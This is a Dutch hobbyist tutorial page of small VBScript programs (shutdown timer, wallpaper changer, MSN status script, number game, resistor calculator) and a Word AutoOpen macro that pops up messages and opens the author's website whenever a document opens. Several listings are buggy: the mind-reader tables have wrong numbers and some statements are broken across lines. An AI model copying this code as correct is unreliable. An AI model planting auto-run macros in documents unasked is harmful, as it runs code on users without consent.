  • Uiteindelijk wordt alle verzamelde informatie in een "MsgBox" weergegeven.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 
on error resume next
a = InputBox("Voer een tijd in: ", "© high-tech-web.nl.tt - Time calculator", "Jouw tijd in minuten.")
If a = clear Then
Wscript.Quit
end if

If a < 1 Then
MsgBox "Het getal is ongeldig!!!", VbCritical ,"© high-tech-web.nl.tt - Time calculator"
Wscript.Quit
End if
do
If
a > 1439 Then
strInput = False
a = a - 1440
b = b + 1
c = " dag"
else
strInput = True
End if
Loop until strInput = True
If b > 1 Then
c = " dagen"
End if
If b > 0 and a > 0 Then
f = ", en "
End if
do
If a > 59 Then
strInput = False
a
= a - 60
g = g + 1
h = " uur"
else
strInput = True
End if
Loop until
strInput = True
If g > 1 Then
h = " uren"
End if
If
g > 0 and a > 0 Then
i = " en "
End if
If a > 0 Then
j = " minuut"
else
a = clear
End if
If a > 1 Then
j = " minuten"
End if
If
b > 0 and g > 0 and a > 0 Then
f = ", "
end if
msgbox "De tijd was: " & b &"" & c &"" & f &"" & g &"" & h &"" & i &""& a &""& j &""& k &".", VBinformation ,"© high-tech-web.nl.tt - Time calculator"

 

 

 

:: PC sleep timer ::

 

    Dit is een leuk, maar vooral ook handig script dat je kan gebruiken, als je bijvoorbeeld aan het downloaden bent...

Je kan namelijk deze 'sleep timer' instellen op bijvoorbeeld 2 uur, na 2 uur wordt dus je pc automatisch uitgeschakeld. Dit script werkt met deze instellingen alleen op XP / NT. Let er bijvoorbeeld bij 2 uur wel op dat dat (2*60) minuten zijn.

  • Ten eerste stel je vast dat als er een error ontstaat, dat het programma automatisch verder gaat met het volgende commando. Als de input bijvoorbeeld geannuleerd wordt, of zelfs leeg is, dan moet het script stoppen.

  • Daarna wordt er gekeken of het ingevoerde getal niet kleiner is dan 1, om alsnog een foutmelding te geven dat het ingevoerde getal ongeldig is.

  • Vervolgens wordt het ingevoerde aantal minuten uit de variabele "a" gehaald, en wordt er iedere minuut 1 minuut vanaf getrokken.

  • Als de variabele "a" de nul bereikt heeft, dan stopt de loop, en gaat het script verder met het volgende commando.

  • Het volgende commando betreft het afsluiten van de computer, met het script dat al eerder is behandeld in deze VBS cursus.

  • Als programmeur moet je je ervan bewust zijn dat elke mogelijke combinatie of gebeurtenis zich voor kan doen. Dus om die reden wordt er op het laatste moment een popup gegenereerd dat de computer afsluit. De computer is op dit moment al bezig met afsluiten, maar heeft nog genoeg tijd om een waarschuwingsvenstertje weer te geven.

  • Uiteindelijk wordt het al eerder aangeroepen programma "Wscript.exe" afgesloten.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 
on error resume next
a = InputBox("Na hoeveel minuten moet de computer zich zelf volautomatisch afsluiten?: " & vbcrlf & vbcrlf &"Voorbeeld: 60 minuten is 1 uur... etc.", "©high-tech-web.nl.tt - PC sleep timer!", "Jouw tijd in minuten.")
If a = clear Then
Wscript.Quit
end if
If a < 1 Then
MsgBox "Het getal is ongeldig!!!", Vbcritical ,"©high-tech-web.nl.tt - PC sleep timer!"
Wscript.Quit
End if
do
Wscript.sleep 60000
a = a - 1
loop until a = 0
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next

Msgbox ("Deze computer schakelt zich zelf nu uit..."), vbCritical, "©high-tech-web.nl.tt  - PC sleep timer!"
Wscript.Quit

 

 

 

:: Wall paper changer ::

 

    Dit is een handig programma voor op school, of voor op het werk. U heeft hier namelijk weinig systeem rechten... Om nou toch een leuke achtergrond te kunnen kiezen, kunt u dit script gebruiken. Zet een leuke afbeelding in de zelfde map als het script, en noem het wallpaper1-4.bmp. Natuurlijk is dit een voorbeeld, en kunt u er nog veel meer in plaatsen indien gewenst...

  • Als eerste word er weer een hulp-systeem-object aangeroepen "Wscript.shell".

  • Daarna wordt er vervolgens een venster getoond met alle mogelijke vormen van inputs, de mogelijke variabelen worden dus hier beschreven.

  • Bij de cases staat voor iedere input wat de bijbehorende functie is. De hoofdfunctie is dus het wijzigen van de systeemregister waarde voor de bureaubladachtergrond. Daarbij komen nog een aantal weergave opties. Ook zit er een helpfunctie in het programma verwerkt, voor de minder ervaren gebruiker (dit is professioneler).

  • Uiteindelijk wordt het al eerder aangeroepen programma "Wscript.exe" afgesloten.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 
Set oShell = CreateObject("Wscript.shell")
Dim strMsg,inp01,strTitle,strFlag
strTitle = "Answer Box"
strMsg = strMsg & "Press 0 to set the wallpaper as none.
" & vbCR
strMsg = strMsg &
"Press 1 to set the wallpaper as wallpaper1." & vbCR
strMsg = strMsg & "Press 2 to set the wallpaper as wallpaper2." & vbCR
strMsg = strMsg & "Press 3 to set the wallpaper as wallpaper3." & vbCR
strMsg = strMsg & "Press 4 to set the wallpaper as wallpaper4." & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "Press c to center the wallpaper." & vbCR
strMsg = strMsg & "Press t to tile the wallpaper." & vbCR
strMsg = strMsg & "Press s to strech the wallpaper." & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "Press h for help." & vbCR
strMsg = strMsg & "Press cancel to quit." & vbCR
strFlag = False
Do While strFlag = False
inp01 = InputBox(strMsg, "high-tech-Wallpaper changer!", "Make your choice!")
Select Case inp01

Case "0"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", ""
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "1"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", "wallpaper1.bmp"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "2"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", "wallpaper2.bmp"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "3
"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", "wallpaper3.bmp"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "4"
oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", "wallpaper4.bmp"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "s"

oShell.RegWrite "HKCU\Control Panel\Desktop\WallpaperStyle", "2"
oShell.RegWrite "HKCU\Control Panel\Desktop\TileWallpaper", "0"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "c"
oShell.RegWrite "HKCU\Control Panel\Desktop\WallpaperStyle", "1"
oShell.RegWrite "HKCU\Control Panel\Desktop\TileWallpaper", "0"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "t"
oShell.RegWrite "HKCU\Control Panel\Desktop\WallpaperStyle", "1"
oShell.RegWrite "HKCU\Control Panel\Desktop\TileWallpaper", "1"
oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

Case "h"
MsgBox "With this you can change your wallpaper on the computer." & vbcrlf & "You can choose from 4 different wallpapers that you can set!" & vbcrlf & vbcrlf & "Place images (with .bmp extension) in the same folder as this script," & vbcrlf & "and with the name wallpaper1 up to wallpaper4." & vbcrlf & vbcrlf & "Note: if you have this program on your (USB)Flash-memory," & vbcrlf & "the next time you relog or reboot and the memory is out of your computer," & vbcrlf & "the background will also change to none." & vbcrlf & vbcrlf & "© Remco van Beek and Johhny Heesterbeek.",vbOkonly,"Help"

Case Else
MsgBox "Made by:" & vbcrlf & "Remco van Beek & Johnny Heesterbeek." & vbcrlf & vbcrlf & "Please visit:" & vbcrlf & "© www.high-tech-web.nl.tt", VbOkonly, "© high-tech-Wallpaper changer!"
Wscript.Quit
strFlag = True

end select
loop

 

 

 

:: BRB @ MSN® ::

 

    Dit is een handig programma voor als je even niet achter je computer zit... Als je het programma opstart zul je de vraag krijgen hoelang je weg zult zijn. In de tijd dat je weg bent krijgt je messenger automatisch de "afwezig" status, en als je ingevoerde aantal minuten verstreken zijn weer de online status. Erg handig dus. Het aantal minuten dat je invoert zal iedere minuut aangepast worden en geüpdate in je MSN® naam ( sub naam ). Jouw huidige naam wordt vervolgens opgeschoven, en op het einde van het script weer terug geplaatst.

Eerst heb ik een simpele code ontworpen om dit te realiseren, maar later heb ik er een functie in gemaakt voor uren gemakkelijker weer te geven. 1440 minuten zijn in dit geval gewoon 24 uren. Dat is gemakkelijker voor jouw contact personen. Wat betreft programmeer niveau is het een stuk moeilijker. Het script werkt namelijk met een groot aantal variabelen.

Het programmaatje is getest met Windows Live Messenger®, maar zal ongetwijfeld ook werken op een oudere versie, eventueel met een kleine aanpassing.

  • Als eerste word er weer een hulp-systeem-object aangeroepen "Wscript.shell".

  • Daarna wordt er vervolgens een venster getoond met alle mogelijke vormen van inputs, de mogelijke variabelen worden dus hier beschreven.

  • Bij de cases staat voor iedere input wat de bijbehorende functie is. De hoofdfunctie is dus het wijzigen van de systeemregister waarde voor de bureaubladachtergrond. Daarbij komen nog een aantal weergave opties. Ook zit er een helpfunctie in het programma verwerkt, voor de minder ervaren gebruiker (dit is professioneler).

  • Uiteindelijk wordt het al eerder aangeroepen programma "Wscript.exe" afgesloten.

1
2

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set shl = WScript.CreateObject ("WScript.Shell")
on error resume next
a = Inputbox ("De status van jouw MSN-messenger wordt op afwezig ingesteld gedurende het gebruik van dit hulp-programma." & vbcrlf & vbcrlf & "Hoeveel minuten wil je afwezig zijn? ","© high-tech-web.nl.tt - BRB @ MSN","0")
d = (a)
do
If a > 59 Then
strInput = False
a = a - 60
b = " uur, en "
c
= c + 1
else
strInput = True
End if
Loop until strInput = True
if d=0 Then
msgbox "Informatie:" & vbcrlf & vbcrlf &"Er is geen geldige waarde ingevoerd, het hulp-programma wordt nu afgesloten.",VBCritical,"© high-tech-web.nl.tt BRB @ MSN - WARNING!"
Wscript.Quit
else
msgbox "De door jou ingestelde resterende tijd is: " & c &"" & b &"" & a &" min.",VbInformation,"© high-tech-web.nl.tt - BRB @ MSN - WARNING!"
WSHShell.Run "msnmsgr.exe"
Wscript.sleep 1500
shl.SendKeys("%bta")
end If
y = 0
do
shl.SendKeys("%xo")
Wscript.sleep 100
shl.SendKeys("{TAB}{HOME} +{RIGHT " & y & "}BRB @ "& c &""& b &""& a &" min. :D- <{BS}~")
Wscript.sleep 59900
If c > 0 Then
x = 9
end If
e = Len(c)
f = Len(a)
y
= 18 + x + e + f
a
= a - 1
If a = 0 and c > 0 Then
c = c - 1
a = a + 60
end If
If
c = 0 Then
b = clear
c
= clear
x = clear
end If
Loop Until
a = 0 and c = 0
Wscript.sleep 1500
shl.SendKeys("%bto")
Wscript.sleep
100
shl.SendKeys("%xo{TAB}{HOME} +{RIGHT 19}{BS}~")
Wscript.sleep 1500
msgbox "Informatie:" & vbcrlf & vbcrlf &"De door jou ingestelde '" & d &" min. zijn voorbij, de status is weer ingesteld op 'online'.",VbInformation,"© high-tech-web.nl.tt - BRB @ MSN - WARNING!"
Wscript.Quit

 

 

 

:: Mind reader ::

 

    Dit is een soort spelletje dat je met je vrienden kunt doen. Het spelletje herkennen de meeste wel met 6 papiertjes met tabellen waarbij je 1 getal in gedachte moet nemen, en dat de ander het getal moet "raden" (berekenen dus). In dit geval wordt er per tabel gekeken of het getal in de tabel voorkomt en, wordt er automatisch een variabele "a" gebruikt om de totale uitkomst op te tellen en uit te rekenen. Het idee is dat iedere tabel begint met een bepaald cijfer, en deze cijfers zijn steeds het dubbele van elkaar. Je hebt dus eigenlijk 6 variabelen die een ja of een nee, (1 / 0) kunnen bedragen, en met deze 6 inputs kan men dus: 32 + 16 + 8 + 4 + 2 + 1 = 64 verschillende combinaties maken. Voor de duidelijkheid: als nul ook meedoet, dan heb je met 64 combinaties een maximale grootte van het getal als in voer 63!

  • Als eerste moet er een "MsgBox" gegenereerd worden met de benodigde informatie voor het programma.

  • Vervolgens moet er vastgesteld worden dat de variabele 0 is op het begin van het script, voor het geval dat er niets meer bij opgeteld word, dat er op het eind een "0" uit kan komen, in plaats van een leeg vlak.

  • Voor het 6-tal bericht boxen, staat steeds een if-statement. Dit is om te zorgen dat de "vbYesNo" functie meteen gebruikt kan worden.

  • Als er op ja (vbYes) geklikt wordt, moet er bij variabele "a" een getal opgeteld worden. als je op nee (vbNo) klikt hoeft het script geen actie te ondernemen, en gaat het script het if-statement sluiten (end If), en direct verder met het volgende commando.

  • Het laatste commando betreft uiteraard de uitslag van het geheel. De variabele "a" wordt hier dus gebruikt in de "MsgBox".

1
2

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 
MsgBox "Neem een getal in gedachten van 0 tot 64.",vbInformation,"© high-tech-web.nl.tt - Mind reader"
a = 0
if MsgBox ("Zit het getal in deze reeks?"& vbcrlf & vbcrlf & cbcrlf & "1 3 5 7 9 11 15 17 19 21 23 25 27 28 31 33 35 37 39 41 43 45 47 49 51 53 55 57 59 61 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 1
end if
if MsgBox ("Zit het getal in deze reeks?"& vbcrlf & vbcrlf & cbcrlf & "2 3 6 7 10 11 14 15 18 19 22 23 26 27 30 31 34 35 39 39 42 43 46 47 50 51 54 55 58 59 62 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 2
end if
if MsgBox ("Zit het getal in deze reeks?"& vbcrlf & vbcrlf & cbcrlf & "4 5 6 7 12 13 14 15 20 21 22 23 28 29 30 31 36 37 38 39 44 45 46 47 52 53 54 55 60 61 62 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 4
end if
if MsgBox ("Zit het getal in deze reeks?"& vbcrlf & vbcrlf & cbcrlf & "8 9 10 11 12 13 14 15 24 25 26 27 28 29 30 31 40 41 42 43 44 45 46 47 56 57 58 59 60 61 62 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 8
end if
if MsgBox ("Zit het getal in deze reeks?
"& vbcrlf & vbcrlf & cbcrlf & "16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 16
end if
if MsgBox ("Zit het getal in deze reeks?"& vbcrlf & vbcrlf & cbcrlf & "32 33 34 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63" , vbYesNo + vbQuestion, "© high-tech-web.nl.tt - Mind reader") = VbYes Then
a = a + 32
end if
MsgBox "Jouw getal was: "& a &".",vbexclamation,"© high-tech-web.nl.tt - Mind reader"

 

 

 

:: Resistor calculator ::

 

    Dit script is in staat om te berekenen welke waarde een weerstand heeft. Aan de hand van gekleurde ringen kan dit programma de elektrische-weerstand waarde van de weerstand bepalen. In de elektronica wereld worden deze weerstanden in Ohm's uitgedrukt. Het Ohm teken betreft het symbool: "Ω". Om dit symbool te kunnen gebruiken in de VBS, dient men de VBS op te slaan in de tekstcodering: "Unicode". Als je dit niet doet, of wil doen, komt er in plaats van het Ohm teken een O te staan. Als je wilt kun je het teken ook vervangen door de grootheid Ohm voluit te schijven.

Verder heb ik de code (dit programma als oefening) zodanig geprogrammeerd dat het grootste gedeelte, namelijk het bijbehorende getal bij de kleur maar 1 keer geprogrammeerd hoeft te worden. Om hiervoor te zorgen heb ik het programma in een "do...loop" functie geschrieven. Deze functie zal 4 maal uitgevoerd moeten worden, en anders zou de code ongeveer dus 4 keer zo lang worden.

  • Als eerste zeg je dat de variabele "ring" de in houd "1" moet dragen om ervoor te zorgen dat dit getal in de vraag verschijnt.

  • De variabele "standaard" wordt ook standaard ingesteld op zwart, zodat als de gebruiker niets invoert, de waarde 0 gebruikt wordt.

  • Hierna wordt de "inputbox" getoond, met de gebruikelijke variabelen.

  • Vervolgens moet er vastgesteld worden dat als er geen invoer is (oftewel iemand heeft op annuleren geklikt ) om vervolgens het script te beëindigen.

  • Hierna volgen alle mogelijke invoeren met de bijbehorende getallen, en leestekens.

  • Mocht het toch nog voorkomen dat je een typfout maakt, of een onbekende kleur opgeeft, dan krijg je een error te zien. Waarna het script beëindigd word, zodat je het opnieuw kunt starten.

  • De laatste stukjes script zorgen ervoor dat de verzamelde informatie in de juiste variabelen geplaatst worden, om op het laatst in de "MsgBox" te zetten.

1
2

3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 
ring = 1
standaard = "zwart"
do
a = inputbox ("Voer de kleur van ring "&ring&" in:","© high-tech-web.nl.tt - Resistor calculator",""&standaard&"")
Select Case a
case clear
Wscript.Quit
Case "zwart" strwaarde = 0
strteken = " Ω"
Case "bruin" strwaarde = 1
strteken = "0 Ω"
Case "rood" strwaarde = 2
If ring = 3 then
d = "K"
end if
Case "oranje" strwaarde = 3
strteken = " KΩ"
Case "geel" strwaarde = 4
strteken = "0 KΩ"
Case "groen" strwaarde = 5
If ring = 3 then
d = "M"
end if
Case "blauw" strwaarde = 6
strteken = " MΩ"
Case "paars" strwaarde = 7
strteken = "0 MΩ"
Case "grijs" strwaarde = 8
If ring = 3 then
d = "G"
end if
Case "wit" strwaarde = 9
strteken = " GΩ"
Case "goud" afwijking = "±5%"
Case "zilver" afwijking = "±10%"
Case "niet aanwezig" afwijking = "±20%"
Case Else
MsgBox "Ongeldige invoer!",vbCritical,"© high-tech-web.nl.tt - Resistor calculator"
WScript.Quit
End Select
if (ring) = 1 and strwaarde = 0 then
strwaarde = clear
end if
if (ring) = 1 Then
b = strwaarde
end If
if (ring) = 2 Then
c = strwaarde
end If
if (ring) = 3 Then
standaard = "niet aanwezig"
end If
ring = (ring) + 1
Loop until ring = 5
MsgBox "De weerstand-waarde is: "& b &""& d &""& c &""& strteken &" met "& afwijking &" afwijking.",vbInformation,"© high-tech-web.nl.tt - Resistor calculator"

 

 

 

:: Macro's in Word® ::

 

     Deze macro zorgt ervoor dat iedere keer dat een Word® bestand geopend word, 2 "MsgBox" popups getoont worden, en vervolgens deze site. Uiteraard moet je om een webpagina te kunnen openen eerst "WScript.exe"aanroepen, en later afgesloten.

Zo ga je te werk:

  • stap 1 je opent een MICRO$OFT WORD® document (.DOC)

  • stap 2 je drukt op ALT-F8

  • stap 3 je typt de macro naam ( AutoOpen ) en klikt op bewerken

  • stap 4 dit typ je in het vlak: (aanpassing mogelijk)

1
2
3
4
5
6
7
 
CSub AutoOpen()
MsgBox "HALLO!"
MsgBox "Wil je mijn site zien?"
Set shl = CreateObject("Wscript.shell")
shl.Run "http://www.high-tech-web.nl.tt/"
MsgBox "Bedankt voor het bezoeken van mijn site!"
End Sub

 

  • stap 5 en vervolgens sluit je het scherm.

Nu zal iedere keer dat men WORD® start deze tekst/vraag/site verschijnen

Meer word shit (ook VBS) zien we op de ----->download pagina!<-----

 
 

| Auteur: Johnny Heesterbeek | Datum: 25-03-2008 |

 
 
 
 Meer informatie  

 
 
Gerelateerde informatie
    H
ieronder, vindt U aanvullende informatie over het bovenstaande onderwerp:
  • Er is momenteel nog geen aanvullende informatie aanwezig...

Informatie zoeken...
   
Ook kunt U zelf de gewenste specifieke informatie zoeken, middels deze zoekmachine:

 
 
 

 

 

 
 
 Pagina bewaren / delen 

 
 
Favorieten
    U
kunt deze website toevoegen aan uw favorieten, zodat U later nog eens terug kunt kijken. Klik hier: (Ctrl D voor FF.)

Voeg deze site toe aan uw favorieten!

Delen
   
Ook kunt U deze pagina delen, bewaren en doorsturen naar vrienden door middel van het onderstaande URL te gebruiken.

Kopieer de volgende URL:

 

Klik 3 maal om te selecteren, 'Ctrl -C' om te kopiëren...

 

 
 

 

 
 
   

  U bevindt zich hier:
High Tech Web >> Projecten >> Programmeren  >> VBS

   

 

 
 

© Copyright High Tech Web.                     Designed, and made by: Johnny Heesterbeek.                     Disclaimer      Contact      Help!
/font>